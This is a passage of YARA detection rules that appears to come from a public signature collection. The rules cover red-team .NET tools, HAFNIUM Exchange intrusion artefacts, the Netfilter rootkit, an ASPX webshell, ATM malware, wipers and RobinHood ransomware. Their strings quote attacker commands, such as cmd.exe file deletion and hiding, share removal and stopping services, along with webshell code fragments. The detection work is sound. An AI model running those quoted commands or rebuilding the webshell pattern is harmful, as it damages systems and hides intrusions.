		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcat : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "450d13c6-93ae-5bf5-bdde-d874ab6c0cd5"
		date = "2023-11-30"
		modified = "2025-08-18"
		reference = "https://github.com/theart42/Sharpcat"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4912-L4924"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "143757610d66c5d7bbba96ef810d518f38ad8ea0e924be23aa59e8c514154fe0"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0 = "d16fd95f-23ce-4f8d-8763-b9f5a9cdd0c3" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpnamedpipepth : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "561b95a5-f32b-5fe8-9e67-3f702306be93"
		date = "2023-11-30"
		modified = "2025-08-18"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4926-L4938"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "437a8a41073174e86f642717537bdeeb5343cc8683c95477a52d6801a46aac21"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0 = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharptokenfinder : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "60fd06be-041b-5fa8-8f25-41b26605ea90"
		date = "2023-12-06"
		modified = "2025-08-18"
		reference = "https://github.com/HuskyHacks/SharpTokenFinder"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4940-L4952"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f9681a13b094b6e05cab69f0684d52e3bb3b465cfcdb1c83a890c9c8fda79169"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0 = "572804d3-dbd6-450a-be64-2e3cb54fd173" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharprodc : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "60779e7a-048f-5095-b853-fd90c4f7449e"
		date = "2023-12-06"
		modified = "2025-08-18"
		reference = "https://github.com/wh0amitz/SharpRODC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4954-L4966"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3d24237804509d2bf241f7310843591608a9d7e8abb38eb324aa5909995ebfaf"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0 = "d305f8a3-019a-4cdf-909c-069d5b483613" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Gmsapasswordreader : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "dc74bfce-90a1-53bd-bfe4-cb7c9c75da53"
		date = "2023-12-06"
		modified = "2025-08-18"
		reference = "https://github.com/rvazarkar/GMSAPasswordReader"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4968-L4980"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8db260b15b8b8158e5f66268b9086b456386af017e4351025ea27b9f994e5bf5"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0 = "c8112750-972d-4efa-a75b-da9b8a4533c7" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsharefinder : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "bb485347-ea9b-5f26-99ad-bedc38bfecd5"
		date = "2023-12-19"
		modified = "2025-08-18"
		reference = "https://github.com/mvelazc0/SharpShareFinder"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4982-L4994"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "72b2c6c9f4da68ba8e9656ff2d9da962f9d791f031c1d7fb74d74ddd17ba49de"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0 = "64bfeb18-b65c-4a83-bde0-b54363b09b71" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Postdump : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "7f33e76c-0227-5c23-b821-c5c9753e2384"
		date = "2023-12-19"
		modified = "2025-08-18"
		reference = "https://github.com/YOLOP0wn/POSTDump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4997-L5009"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e5bbef2fe7122855d7e5300ebf78631149e60b08793a4a21a4ac8b337f4bee60"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0 = "e54195f0-060c-4b24-98f2-ad9fb5351045" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}


rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_1 : LOG CVE_2021_27065
{
	meta:
		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-27065"
		author = "Florian Roth (Nextron Systems)"
		id = "dcc1f741-cab0-5a0b-a261-a6bd05989723"
		date = "2021-03-02"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium_log_sigs.yar#L2-L13"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9306cf177928266ea921461e9da80ad5bb37e1e0848559898a414956cfbc2b49"
		score = 75
		quality = 85
		tags = "LOG, CVE-2021-27065"
	strings:
		$s1 = "S:CMD=Set-OabVirtualDirectory.ExternalUrl='" ascii wide fullword
	condition:
		1 of them
}

rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_26858_Exchange_Forensic_Artefacts_Mar21_1 : LOG CVE_2021_26858
{
	meta:
		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-26858"
		author = "Florian Roth (Nextron Systems)"
		id = "f6fa90c7-c2c0-56db-bf7b-dc146761a995"
		date = "2021-03-02"
		modified = "2021-03-04"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium_log_sigs.yar#L15-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0a8296b7e990e52330412288e9ff71e08a5258fc63c4754e6d0e6d64302f55e6"
		score = 65
		quality = 85
		tags = "LOG, CVE-2021-26858"
	strings:
		$xr1 = /POST (\/owa\/auth\/Current\/themes\/resources\/logon\.css|\/owa\/auth\/Current\/themes\/resources\/owafont_ja\.css|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif|\/owa\/auth\/Current\/themes\/resources\/owafont_ko\.css|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiBold\.eot|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiLight\.ttf|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif)/
	condition:
		$xr1
}

rule SIGNATURE_BASE_LOG_Exchange_Forensic_Artefacts_Cleanup_Activity_Mar21_1 : LOG
{
	meta:
		description = "Detects forensic artefacts showing cleanup activity found in HAFNIUM intrusions exploiting"
		author = "Florian Roth (Nextron Systems)"
		id = "95b19544-147b-5496-b717-669cbc488179"
		date = "2021-03-08"
		modified = "2023-12-05"
		reference = "https://twitter.com/jdferrell3/status/1368626281970024448"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_hafnium_log_sigs.yar#L48-L65"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "12e5b76dafcae13f1eb21913ae0bde233152fd8b9d29f073893418ac9f742de3"
		score = 70
		quality = 85
		tags = "LOG"
	strings:
		$x1 = "cmd.exe /c cd /d C:/inetpub/wwwroot/aspnet_client" ascii wide
		$x2 = "cmd.exe /c cd /d C:\\inetpub\\wwwroot\\aspnet_client" ascii wide
		$s1 = "aspnet_client&del '"
		$s2 = "aspnet_client&attrib +h +s +r "
		$s3 = "&echo [S]"
	condition:
		1 of ( $x* ) or 2 of them
}

rule SIGNATURE_BASE_MAL_Netfilter_Dropper_Jun_2021_1_1 : FILE
{
	meta:
		description = "Detects the dropper of Netfilter rootkit"
		author = "Arkbird_SOLG"
		id = "d91f48aa-9580-572d-a72c-19b80624cdbe"
		date = "2020-06-18"
		modified = "2023-12-05"
		reference = "https://twitter.com/struppigel/status/1405483373280235520"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_netfilter.yar#L4-L26"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b70eb5d2d234d0f523c41fa146f315cf7239bbe7a988b393e75ea6cf6aa438d3"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
		hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
		hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
		tlp = "White"
		adversary = "Chinese APT Group"
	strings:
		$seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
		$seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
		$s1 = "%s\\netfilter.sys" fullword ascii
		$s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
		$s3 = "\\\\.\\netfilter" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 6KB and filesize < 1000KB and ( all of ( $seq* ) or 2 of ( $s* ) )
}

rule SIGNATURE_BASE_MAL_Netfilter_May_2021_1_1 : FILE
{
	meta:
		description = "Detects Netfilter rootkit"
		author = "Arkbird_SOLG"
		id = "0ac01eb3-435b-52b0-b8e8-ace2ebb34f60"
		date = "2020-06-18"
		modified = "2023-12-05"
		reference = "https://twitter.com/struppigel/status/1405483373280235520"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_netfilter.yar#L28-L52"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ba72bbc38c27d0c8d6eea7d513c3ca40276edd929c93abae4098639f7d7649a5"
		score = 75
		quality = 83
		tags = "FILE"
		hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
		hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
		hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
		tlp = "White"
		adversary = "Chinese APT Group"
	strings:
		$seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
		$seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
		$seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
		$seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
		$s1 = "%sc=%s" fullword ascii
		$s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
		$s3 = "NETIO.SYS" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and filesize < 1000KB and ( 3 of ( $seq* ) or 2 of ( $s* ) )
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Xsltransform_Aug21 : FILE
{
	meta:
		description = "Detects an ASPX webshell utilizing XSL Transformations"
		author = "Max Altgelt"
		id = "44254084-a717-59e6-a3ac-eca3c1c864a8"
		date = "2020-02-23"
		modified = "2023-12-05"
		reference = "https://gist.github.com/JohnHammond/cdae03ca5bc2a14a735ad0334dcb93d6"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/webshell_xsl_transform.yar#L1-L19"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3ac0b50adc4c56769d0248e213e9426a22e0f5086bf081da57f835ff1c77b716"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$csharpshell = "Language=\"C#\"" nocase
		$x1 = "<root>1</root>"
		$x2 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("
		$s1 = "XsltSettings.TrustedXslt"
		$s2 = "Xml.XmlUrlResolver"
		$s3 = "FromBase64String(Request[\""
	condition:
		filesize < 500KB and $csharpshell and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule SIGNATURE_BASE_ATM_Malware_Xfscashncr_1 : FILE
{
	meta:
		description = "Detects ATM Malware XFSCashNCR"
		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
		id = "0a70ef9a-9dde-54c9-a3a2-dfceff32932b"
		date = "2019-08-28"
		modified = "2023-12-05"
		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_atm_xfscashncr.yar#L2-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "014d07115543c6e041649a1c57206a75fd555bf0458c7578a33c81b473c72751"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
	strings:
		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8}
		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8}
		$x_StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
		$x_StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
		$x_StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
		$x_StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
		$x_PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
		$LogFile = "XfsLog.txt" nocase ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 1500KB and ( 1 of ( $x* ) or 2 of them )
}

rule SIGNATURE_BASE_APT_Equation_Group_Op_Triangulation_Triangledb_Implant_Jun23_1 : FILE
{
	meta:
		description = "Detects TriangleDB implant found being used in Operation Triangulation on iOS devices (maybe also used on macOS systems)"
		author = "Florian Roth"
		id = "d81a5103-41c8-5dba-a560-8fb5514f6c0a"
		date = "2023-06-21"
		modified = "2023-12-05"
		reference = "https://securelist.com/triangledb-triangulation-implant/110050/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_eqgrp_triangulation_jun23.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "486b19ddb8b182dbba882359f7eb416735e76f9cda5aea1b290fb5c6b44960c5"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "unmungeHexString" ascii fullword
		$s2 = "CRPwrInfo" ascii fullword
		$s3 = "CRConfig" ascii fullword
		$s4 = "CRXConfigureDBServer" ascii fullword
	condition:
		( uint16( 0 ) == 0xfacf and filesize < 30MB and $s1 and 2 of them ) or all of them
}

rule SIGNATURE_BASE_SUSP_LNX_SH_Disk_Wiper_Script_Jun25 : FILE
{
	meta:
		description = "Detects unknown disk wiper script for Linux systems"
		author = "Florian Roth"
		id = "837e5b22-2168-53f7-8d48-429a48e5a469"
		date = "2025-06-19"
		modified = "2025-07-01"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_wipers_jun25.yar#L23-L39"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "99a0a393c2a636c10195c7ad85f3b282a30ba05fbc0f0db7fc04b0f79fbc6760"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "f662f69fc7f4240cd8c00661db9484e76b5d02f903590140b4086fefcf9d9331"
	strings:
		$s1 = "THIS SCRIPT IS LIVE AND ARMED!" ascii fullword
		$s2 = "FAIR WARNING!" ascii fullword
		$s3 = "lists devices" ascii fullword
	condition:
		uint16( 0 ) == 0x2123 and filesize < 2KB and all of them
}

rule SIGNATURE_BASE_SUSP_PY_Pyinstaller_Swiper_Jun25 : FILE
{
	meta:
		description = "Detects suspicious Python based executable with similarities to a known disk wiper"
		author = "Florian Roth"
		id = "1b16598b-58df-599f-991b-00284b770d8e"
		date = "2025-06-19"
		modified = "2025-07-01"
		reference = "https://x.com/cyb3rops/status/1935707307805134975"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_wipers_jun25.yar#L41-L59"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "824bdda031336b2d9a60b09bfa36e68a2e03159b217c9c25dd708df454144e1e"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "4f669ecbe12e95d51f37be76933de4c2626d20bb01729086ce2efc603c4ffdf3"
	strings:
		$a1 = "bzlib1.dll" ascii fullword
		$a2 = "VCRUNTIME140_1.dll" wide fullword
		$a3 = "%s%c%s.exe" ascii fullword
		$sc1 = { 73 77 69 70 65 72 00 00 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40000KB and all of them
}


rule SIGNATURE_BASE_MAL_RANSOM_Robinhood_May19_1 : FILE
{
	meta:
		description = "Detects RobinHood Ransomware"
		author = "Florian Roth (Nextron Systems)"
		id = "7199c0de-c925-5399-8fa6-852604190a21"
		date = "2019-05-15"
		modified = "2023-12-05"
		reference = "https://twitter.com/BThurstonCPTECH/status/1128489465327030277"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_robinhood.yar#L2-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5eef71b94f2488dceff80ec2daba689c12d13b2742ba9ae5ead58711339d6026"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "21cb84fc7b33e8e31364ff0e58b078db8f47494a239dc3ccbea8017ff60807e3"
	strings:
		$s1 = ".enc_robbinhood" ascii
		$s2 = "c:\\windows\\temp\\pub.key" ascii fullword
		$s3 = "cmd.exe /c net use * /DELETE /Y" ascii
		$s4 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase
		$s5 = "main.EnableShadowFucks" nocase
		$s6 = "main.EnableRecoveryFCK" nocase
		$s7 = "main.EnableLogLaunders" nocase
		$s8 = "main.EnableServiceFuck" nocase
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and 1 of them
}

rule SIGNATURE_BASE_EXPL_Zoho_RCE_Fix_Lines_Dec21_1 : FILE
{
	meta:
		description = "Detects lines in log lines of Zoho products that indicate RCE fixes (silent removal of evidence)"
		author = "Florian Roth (Nextron Systems)"
		id = "633287e3-a377-5b3c-8520-a7790168eff5"
		date = "2021-12-06"
		modified = "2023-12-05"
		reference = "https://twitter.com/cyb3rops/status/1467784104930385923"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_zoho_rcef_logs.yar#L2-L27"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e6d9c3364da57c03a5e838f485deefabec2f3ec67d19a9017e564ba702a72d03"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "RCEF="
		$sa1 = "\"attackStatus\"\\:\"active\""
		$sa2 = "\"attackStatus\":\"active\""
		$sd1 = "deletedCount"
		$sd_fp1 = "\"deletedCount\"\\:0"
		$sd_fp2 = "\"deletedCount\":0"
	condition:
		filesize < 6MB and $s1 and ( 1 of ( $sa* ) or ( $sd1 and not 1 of ( $sd_fp* ) ) )
}

rule SIGNATURE_BASE_LOG_EXPL_SUSP_Teamcity_CVE_2023_42793_Oct23_1 : CVE_2023_42793
{
	meta:
		description = "Detects log entries that could indicate a successful exploitation of CVE-2023-42793 on TeamCity servers"
		author = "Florian Roth"
		id = "81c04863-72aa-5515-889e-3ef718360cac"
		date = "2023-10-02"
		modified = "2023-12-05"
		reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_teamcity_2023_42793.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
